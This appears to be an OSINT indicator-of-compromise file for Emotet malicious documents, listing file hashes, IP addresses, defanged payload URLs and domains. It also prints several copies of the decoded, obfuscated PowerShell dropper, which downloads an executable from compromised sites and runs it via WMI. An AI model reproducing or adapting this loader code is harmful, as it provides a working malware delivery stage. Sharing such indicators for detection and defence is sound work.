Emotet_Doc_out_2020-11-02_14_18.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
b80748e5abff124c2e769811b6d07ee49b612be307a825ec4d6cb37f18ca1c24
b86e09a5bdebde57bd67e1fa11ddbd3381e5972d091fdc61b68e34226fabf084
adfc78c63800a8c33b85e80e40f508c443d2930e3135b639bc79d39aa8f8f79a
8390454bd270ad7e5f35cf442b97d2f85ea82a94cf4219020ff0e7af271d66d6
90d39ca6bdaf9c010fd7f3a5d3c8588f1c777498f544ec5ad64329b6c06621b9
3faa49b82a8885d33ee4430223fd3b268e0b778326125f4f9dd6a7f0d3eb82f9
75ca20340c21dbd94ba3ec4c8eeb14f3a78e68a955701cbdc754c29163674a3a
75ca20340c21dbd94ba3ec4c8eeb14f3a78e68a955701cbdc754c29163674a3a
3f46b213143190744c2fcce690106b1eb0296c1bd91d4592c972fe145f52b4fc
f4d908f87501ee3540464451580093a65d843cf69d49c8fc0ee667ebfe48cb4f
b79376701bfc97b082e9d8d61f6886b399692a2b154c6095559ab1da86e4c518
22a4eae8735782a3f12e3f7ee5b6d0839cd7c4a8b91dce6ce27e2414b2e5f817
49931e499615a1dc36cda98151d3c406413f1c47504b38f2bb658631313c273f
e85c32ae68a655edf933be2fded9239c8cbc165e13aebaac456585df69ca4a10
0df110553135d059b75092a5ffb20c46fe16bc7f61ca0fb662977078201cf6a5
66f30f7d40ef0e230f042cd6abe51971e49af52617515c3d0d99f3f365a59e90
84f8bd87a1f8207da3a4722b9eee322be498919fed6323fe33c0ce60ef7aadcf
c5c5d180e34b543aa4fd25788f9eaa431fef47dcddff8f3662f18b87752cd2a8
26b30e58ed2342d042367ba0487873439d5c9c28920ddd000bb94b3eac79d94d
4bab596233b6ee4131996d95b9d863e6833d285d6f87dd2bd841f2682b6146a3
858159295a83a85ce85a8e18a4398873eb02dfa32012325f963ab2de57c8c0aa
858159295a83a85ce85a8e18a4398873eb02dfa32012325f963ab2de57c8c0aa
0e1e46ba3515694253b3f5f7e14717477b8f5a0569237cb4bc87a65b954b8026
b6425121e26cd5358560afd1aa3fe4d620fa58f1671d6bad15660aa5a37fc734
b6425121e26cd5358560afd1aa3fe4d620fa58f1671d6bad15660aa5a37fc734
c2239c86191e6dbe4cb7a13e085fd47f5e4f9212cdeea61bfa295a9399bc4686
5ecf112665fd1e109c74e82e01305ebc325701aca6f9b8c6dd58465a5a5ecbed
4ea3b44401112b07c8579bc245bb22ee9c40c153200538038bb8bc8d53f6b632
3ad779517c7c01660ad0e89ba227df7207f5933ce21c5eabfdd3242921318023
6f1bfb8263e8b6bacd9bad43339c4f0fc928745d1afebc964912b206651af273
d5ed290421b248920435fadd9b66442708e62ed9bfb86f0e875cd834bd8c0e7e
e42d716d57f6f47509d1f3dfb2c3f14fe7006cf0002a3b93659b3825be270071
7191f79a7ae1dd66c353a8d25daaf845f3bd7df3c8d27bdcb054740275b49bfb
b42ec3154bf81b9db8b0aa9f3dbdaf4c02eaf40766ddcb5542779307674a532a


IPs:
103.82.52.25
104.18.48.247
104.18.49.247
104.18.62.160
104.18.63.160
104.24.98.175
104.24.99.175
104.31.68.179
104.31.69.179
113.23.32.169
120.77.243.218
137.118.60.3
1.54.2.148
160.153.138.219
172.67.159.133
172.67.178.62
172.67.180.46
172.67.184.170
176.65.242.190
188.166.149.118
35.208.159.220
35.214.134.107
35.214.15.47
35.214.163.147
45.119.83.207
47.103.202.205
47.106.177.2
85.14.243.50



URLs:
hxxps://pipesplumbingltd.com/DB/Yg2rsTn/
hxxp://annabphotography.co.uk/wp-includes/WdHO/
hxxp://childselect.com/cgi-bin/BSA/
hxxp://movie-2free.com/cgi-bin/F/
hxxps://sachcodoc.net/wp-admin/pOyZDC/
hxxp://aramisconstruct.ro/wp-admin/Hpbd6/
hxxps://manweikeji.com/wp-content/X/
hxxp://farmapleland.com/wp-content/F/
hxxp://www.angiathinh.com/autotoxication/96F/
hxxp://www.meshzs.com/wp-includes/p6/
hxxps://dartzeel.com/wp-content/jHy/
hxxps://zhidong.store/wp-content/BDY/
hxxps://australaqua.com/wp-content/xIt/
hxxps://nurmarkaz.org/designl/u/
hxxp://kharazmischl.com/w/okz/
hxxp://help-m2c.eccang.com/pseovck27kr/n/
hxxp://myfarasan.com/sitepage/z/
hxxp://chengmikeji.com/dertouqua/Ocm/
hxxps://enews.enkj.com/wordpress/bd/
hxxp://ecobaratocanaria.com/wp-admin/ms/
hxxps://cimsjr.com/hospital/4q/
hxxps://pipesplumbingltd.com/DB/Yg2rsTn/
hxxp://annabphotography.co.uk/wp-includes/WdHO/
hxxp://childselect.com/cgi-bin/BSA/
hxxp://movie-2free.com/cgi-bin/F/
hxxps://sachcodoc.net/wp-admin/pOyZDC/
hxxp://aramisconstruct.ro/wp-admin/Hpbd6/
hxxps://manweikeji.com/wp-content/X/
hxxp://farmapleland.com/wp-content/F/
hxxp://inbichngoc.com/wp-admin/K/
hxxp://www.angiathinh.com/autotoxication/96F/
hxxp://www.meshzs.com/wp-includes/p6/
hxxps://dartzeel.com/wp-content/jHy/
hxxps://zhidong.store/wp-content/BDY/
hxxps://australaqua.com/wp-content/xIt/
hxxps://nurmarkaz.org/designl/u/
hxxp://kharazmischl.com/w/okz/
hxxp://help-m2c.eccang.com/pseovck27kr/n/
hxxp://myfarasan.com/sitepage/z/
hxxp://chengmikeji.com/dertouqua/Ocm/
hxxps://enews.enkj.com/wordpress/bd/
hxxp://ecobaratocanaria.com/wp-admin/ms/
hxxps://cimsjr.com/hospital/4q/


Domains:
pipesplumbingltd.com
annabphotography.co.uk
childselect.com
movie-2free.com
sachcodoc.net
aramisconstruct.ro
manweikeji.com
farmapleland.com
inbichngoc.com
www.angiathinh.com
www.meshzs.com
dartzeel.com
zhidong.store
australaqua.com
nurmarkaz.org
kharazmischl.com
help-m2c.eccang.com
myfarasan.com
chengmikeji.com
enews.enkj.com
ecobaratocanaria.com
cimsjr.com
pipesplumbingltd.com
annabphotography.co.uk
childselect.com
movie-2free.com
sachcodoc.net
aramisconstruct.ro
manweikeji.com
farmapleland.com
inbichngoc.com
www.angiathinh.com
www.meshzs.com
dartzeel.com
zhidong.store
australaqua.com
nurmarkaz.org
kharazmischl.com
help-m2c.eccang.com
myfarasan.com
chengmikeji.com
enews.enkj.com
ecobaratocanaria.com
cimsjr.com


Decoded Base64 Powershell:
<���^,�]zset-iTEM  varIaBLe:Z5PO  [TYpE]"{1}{3}{0}{2}"-f Ect,sYStEm.i,OrY,o.Dir  ;
   SET-itEm  "vAr""iabL""E:Q47"    [TYPe]"{5}{2}{1}{3}{0}{4}"-F aNAGe,NET.s,.,ErVicEPOiNTM,R,SYsTem  ;
$Q9diwkq=N5h_dw2;
$Ivvdvdo=$U3sftbk  [char]64  $Sl39907;
$Tmrxafc=Mg2lt1w;
 $Z5pO::"c`REAte`dIRECt`oRY"$HOME  HExQ84je2zHExYghb915HEx."Repl`Ace"[chaR]72[chaR]69[chaR]120,[stRinG][chaR]92;
$Kzighzz=Rjtktsz;
    gi  "var""iAbl""E:q47" .vAlue::"SeCUrI`TY`PR`O`ToCoL" = Tls12;
$Ywi2eer=Sfymk0k;
$Pgpebmk = Soti11ocy;
$Z2x350s=J9r6iki;
$Mcamlz0=Oe0q5ih;
$Tsxtuyz=$HOME{0}Q84je2z{0}Yghb915{0}-f  [ChaR]92$Pgpebmk.exe;
$Cje1a9l=Vcvns6g;
$Hxqu33j=&new-object neT.WEbCliENt;
$Jxs3in6=hxxps://pipesplumbingltd.com/DB/Yg2rsTn/
hxxp://annabphotography.co.uk/wp-includes/WdHO/
hxxp://childselect.com/cgi-bin/BSA/
hxxp://movie-2free.com/cgi-bin/F/
hxxps://sachcodoc.net/wp-admin/pOyZDC/
hxxp://aramisconstruct.ro/wp-admin/Hpbd6/
hxxps://manweikeji.com/wp-content/X/
hxxp://farmapleland.com/wp-content/F/."reP`lACE"/,[array]/,xwe[0]."s`PliT"$Aeimclu  $Ivvdvdo  $Uch1acn;
$Sl30gsv=Tlsjdwb;
foreach $O9nyww_ in $Jxs3in6{try{$Hxqu33j."dowNL`OA`DF`iLe"$O9nyww_, $Tsxtuyz;
$Y1p1_7e=S6991w1;
If .Get-Item $Tsxtuyz."L`EngTh" -ge 45455 {[wmiclass]win32_Process."CrE`Ate"$Tsxtuyz;
$Lxhchct=Rv24lhh;
break;
$M3kxyg6=Ajmux5f}}catch{}}$Tuy05x2=Xglkn_o<���^,�]z $ohF=[tYpE]"{1}{0}{4}{2}{3}" -Fs,SY,eM.iO.DIreCTO,RY,t  ;
  SeT-VAriaBle 249Nj [TYPe]"{5}{3}{1}{4}{2}{0}" -f NaGEr,.SErV,iNtMA,et,icepo,sYsTEM.N  ;
 $Getj93h=Rv29vu1;
$Cu94v11=$Rb6bgq7  [char]64  $Tdkgw9f;
$E7uqhrz=Bziatry;
  $OHf::"CrEate`d`ir`E`cTorY"$HOME  MKxDjl8wkoMKxIa2zjinMKx."ReP`L`ACe"[ChAr]77[ChAr]75[ChAr]120,[sTRiNg][ChAr]92;
$Itainm8=Gwt5raa;
   VaRIAble 249Nj .VaLUE::"sEC`U`RITyPr`OTOcOl" = Tls12;
$L621aja=Ir_ri6o;
$Yoy_krn = Lu7c99t;
$Z1hv077=Rsvz102;
$N487npv=Fjo9f05;
$Zla5rtn=$HOMEhgZDjl8wkohgZIa2zjinhgZ."Re`PlAcE"[cHaR]104[cHaR]103[cHaR]90,[stRInG][cHaR]92$Yoy_krn.exe;
$I91kcpj=P942kzu;
$Xtyliwd=.new-object Net.webCLIENt;
$Tzlzc9h=hxxp://inbichngoc.com/wp-admin/K/
hxxp://www.angiathinh.com/autotoxication/96F/
hxxp://www.meshzs.com/wp-includes/p6/
hxxps://dartzeel.com/wp-content/jHy/
hxxps://zhidong.store/wp-content/BDY/
hxxps://australaqua.com/wp-content/xIt/
hxxps://nurmarkaz.org/designl/u/."R`e`PLaCE"/,[array]/,xwe[0]."s`PLIt"$U5tebxr  $Cu94v11  $D4nzr98;
$Rcn4iq_=Oqkpw6e;
foreach $Owv1ojo in $Tzlzc9h{try{$Xtyliwd."D`owNLO`ADFi`Le"$Owv1ojo, $Zla5rtn;
$R8flp1r=Lgfjbv_;
If .Get-Item $Zla5rtn."LEN`GtH" -ge 43078 {[wmiclass]win32_Process."c`REatE"$Zla5rtn;
$Ccim3km=Lvvmc0k;
break;
$Vav4vk0=Rnbl1b_}}catch{}}$Qnt48h9=Us_f7nn<���^,�]z set-IteM VAriABLe:SNmkh  [TYPE]"{1}{3}{4}{0}{2}" -FeCT,SYSTEm.Io.,orY,d,IR;
  $Ekb9Lq=  [TyPE]"{2}{4}{0}{3}{7}{1}{6}{5}" -fserv,OiN,SYstem.,iC,Net.,gER,tmaNa,ep  ;
  $H761s3z=J0swxe8;
$Tz0jwcd=$O2s0ph5  [char]64  $E3k8u4e;
$Nn_1hnc=Tpi1w67;
  $SnMkH::"crE`ATEDI`R`eCTOrY"$HOME  673Wqewzer673Zdoz0xf673  -CrepLaCE  673,[cHaR]92;
$E4fhfgg=Bjt2s4e;
  $ekb9Lq::"SECURITYPRO`TOC`OL" = Tls12;
$Vocjfgn=Rqi__d0;
$Qxmnpt4 = Xp13y90;
$F8y06mv=Hy7i4w2;
$K0t19gd=Hh6dcm8;
$Q6bjkwn=$HOMEIEwWqewzerIEwZdoz0xfIEw-CrEplaCE IEw,[CHar]92$Qxmnpt4.exe;
$Lzbispm=Wkzlh2t;
$J8f2q2n=.new-object nET.WEBcLiEnt;
$Cnwamla=hxxp://kharazmischl.com/w/okz/
hxxp://help-m2c.eccang.com/pseovck27kr/n/
hxxp://myfarasan.com/sitepage/z/
hxxp://chengmikeji.com/dertouqua/Ocm/
hxxps://enews.enkj.com/wordpress/bd/
hxxp://ecobaratocanaria.com/wp-admin/ms/
hxxps://cimsjr.com/hospital/4q/."R`ePl`Ace"/,[array]/,xwe[0]."Sp`lit"$R1nzojq  $Tz0jwcd  $Vzzxss7;
$U04euts=Qh6ys33;
foreach $Ccoun3c in $Cnwamla{try{$J8f2q2n."DO`W`NloAd`FILE"$Ccoun3c, $Q6bjkwn;
$Rvpn_ht=Gbo52z6;
If &Get-Item $Q6bjkwn."L`ENGtH" -ge 37084 {[wmiclass]win32_Process."c`ReAtE"$Q6bjkwn;
$Sti0p1f=Icgo3sc;
break;
$D09dt0v=P6tezk0}}catch{}}$Nk3jtuk=Gfyem4r>�z�Zh���<���^,�]zset-iTEM  varIaBLe:Z5PO  [TYpE]"{1}{3}{0}{2}"-f Ect,sYStEm.i,OrY,o.Dir  ;
   SET-itEm  "vAr""iabL""E:Q47"    [TYPe]"{5}{2}{1}{3}{0}{4}"-F aNAGe,NET.s,.,ErVicEPOiNTM,R,SYsTem  ;
$Q9diwkq=N5h_dw2;
$Ivvdvdo=$U3sftbk  [char]64  $Sl39907;
$Tmrxafc=Mg2lt1w;
 $Z5pO::"c`REAte`dIRECt`oRY"$HOME  HExQ84je2zHExYghb915HEx."Repl`Ace"[chaR]72[chaR]69[chaR]120,[stRinG][chaR]92;
$Kzighzz=Rjtktsz;
    gi  "var""iAbl""E:q47" .vAlue::"SeCUrI`TY`PR`O`ToCoL" = Tls12;
$Ywi2eer=Sfymk0k;
$Pgpebmk = Soti11ocy;
$Z2x350s=J9r6iki;
$Mcamlz0=Oe0q5ih;
$Tsxtuyz=$HOME{0}Q84je2z{0}Yghb915{0}-f  [ChaR]92$Pgpebmk.exe;
$Cje1a9l=Vcvns6g;
$Hxqu33j=&new-object neT.WEbCliENt;
$Jxs3in6=hxxps://pipesplumbingltd.com/DB/Yg2rsTn/
hxxp://annabphotography.co.uk/wp-includes/WdHO/
hxxp://childselect.com/cgi-bin/BSA/
hxxp://movie-2free.com/cgi-bin/F/
hxxps://sachcodoc.net/wp-admin/pOyZDC/
hxxp://aramisconstruct.ro/wp-admin/Hpbd6/
hxxps://manweikeji.com/wp-content/X/
hxxp://farmapleland.com/wp-content/F/."reP`lACE"/,[array]/,xwe[0]."s`PliT"$Aeimclu  $Ivvdvdo  $Uch1acn;
$Sl30gsv=Tlsjdwb;
foreach $O9nyww_ in $Jxs3in6{try{$Hxqu33j."dowNL`OA`DF`iLe"$O9nyww_, $Tsxtuyz;
$Y1p1_7e=S6991w1;
If .Get-Item $Tsxtuyz."L`EngTh" -ge 45455 {[wmiclass]win32_Process."CrE`Ate"$Tsxtuyz;
$Lxhchct=Rv24lhh;
break;
$M3kxyg6=Ajmux5f}}catch{}}$Tuy05x2=Xglkn_o>�z�Zh���<���^,�]z $ohF=[tYpE]"{1}{0}{4}{2}{3}" -Fs,SY,eM.iO.DIreCTO,RY,t  ;
  SeT-VAriaBle 249Nj [TYPe]"{5}{3}{1}{4}{2}{0}" -f NaGEr,.SErV,iNtMA,et,icepo,sYsTEM.N  ;
 $Getj93h=Rv29vu1;
$Cu94v11=$Rb6bgq7  [char]64  $Tdkgw9f;
$E7uqhrz=Bziatry;
  $OHf::"CrEate`d`ir`E`cTorY"$HOME  MKxDjl8wkoMKxIa2zjinMKx."ReP`L`ACe"[ChAr]77[ChAr]75[ChAr]120,[sTRiNg][ChAr]92;
$Itainm8=Gwt5raa;
   VaRIAble 249Nj .VaLUE::"sEC`U`RITyPr`OTOcOl" = Tls12;
$L621aja=Ir_ri6o;
$Yoy_krn = Lu7c99t;
$Z1hv077=Rsvz102;
$N487npv=Fjo9f05;
$Zla5rtn=$HOMEhgZDjl8wkohgZIa2zjinhgZ."Re`PlAcE"[cHaR]104[cHaR]103[cHaR]90,[stRInG][cHaR]92$Yoy_krn.exe;
$I91kcpj=P942kzu;
$Xtyliwd=.new-object Net.webCLIENt;
$Tzlzc9h=hxxp://inbichngoc.com/wp-admin/K/
hxxp://www.angiathinh.com/autotoxication/96F/
hxxp://www.meshzs.com/wp-includes/p6/
hxxps://dartzeel.com/wp-content/jHy/
hxxps://zhidong.store/wp-content/BDY/
hxxps://australaqua.com/wp-content/xIt/
hxxps://nurmarkaz.org/designl/u/."R`e`PLaCE"/,[array]/,xwe[0]."s`PLIt"$U5tebxr  $Cu94v11  $D4nzr98;
$Rcn4iq_=Oqkpw6e;
foreach $Owv1ojo in $Tzlzc9h{try{$Xtyliwd."D`owNLO`ADFi`Le"$Owv1ojo, $Zla5rtn;
$R8flp1r=Lgfjbv_;
If .Get-Item $Zla5rtn."LEN`GtH" -ge 43078 {[wmiclass]win32_Process."c`REatE"$Zla5rtn;
$Ccim3km=Lvvmc0k;
break;
$Vav4vk0=Rnbl1b_}}catch{}}$Qnt48h9=Us_f7nn>�z�Zh���<���^,�]z set-IteM VAriABLe:SNmkh  [TYPE]"{1}{3}{4}{0}{2}" -FeCT,SYSTEm.Io.,orY,d,IR;
  $Ekb9Lq=  [TyPE]"{2}{4}{0}{3}{7}{1}{6}{5}" -fserv,OiN,SYstem.,iC,Net.,gER,tmaNa,ep  ;
  $H761s3z=J0swxe8;
$Tz0jwcd=$O2s0ph5  [char]64  $E3k8u4e;
$Nn_1hnc=Tpi1w67;
  $SnMkH::"crE`ATEDI`R`eCTOrY"$HOME  673Wqewzer673Zdoz0xf673  -CrepLaCE  673,[cHaR]92;
$E4fhfgg=Bjt2s4e;
  $ekb9Lq::"SECURITYPRO`TOC`OL" = Tls12;
$Vocjfgn=Rqi__d0;
$Qxmnpt4 = Xp13y90;
$F8y06mv=Hy7i4w2;
$K0t19gd=Hh6dcm8;
$Q6bjkwn=$HOMEIEwWqewzerIEwZdoz0xfIEw-CrEplaCE IEw,[CHar]92$Qxmnpt4.exe;
$Lzbispm=Wkzlh2t;
$J8f2q2n=.new-object nET.WEBcLiEnt;
$Cnwamla=hxxp://kharazmischl.com/w/okz/
hxxp://help-m2c.eccang.com/pseovck27kr/n/
hxxp://myfarasan.com/sitepage/z/
hxxp://chengmikeji.com/dertouqua/Ocm/
hxxps://enews.enkj.com/wordpress/bd/
hxxp://ecobaratocanaria.com/wp-admin/ms/
hxxps://cimsjr.com/hospital/4q/."R`ePl`Ace"/,[array]/,xwe[0]."Sp`lit"$R1nzojq  $Tz0jwcd  $Vzzxss7;
$U04euts=Qh6ys33;
foreach $Ccoun3c in $Cnwamla{try{$J8f2q2n."DO`W`NloAd`FILE"$Ccoun3c, $Q6bjkwn;
$Rvpn_ht=Gbo52z6;
If &Get-Item $Q6bjkwn."L`ENGtH" -ge 37084 {[wmiclass]win32_Process."c`ReAtE"$Q6bjkwn;
$Sti0p1f=Icgo3sc;
break;
$D09dt0v=P6tezk0}}catch{}}$Nk3jtuk=Gfyem4r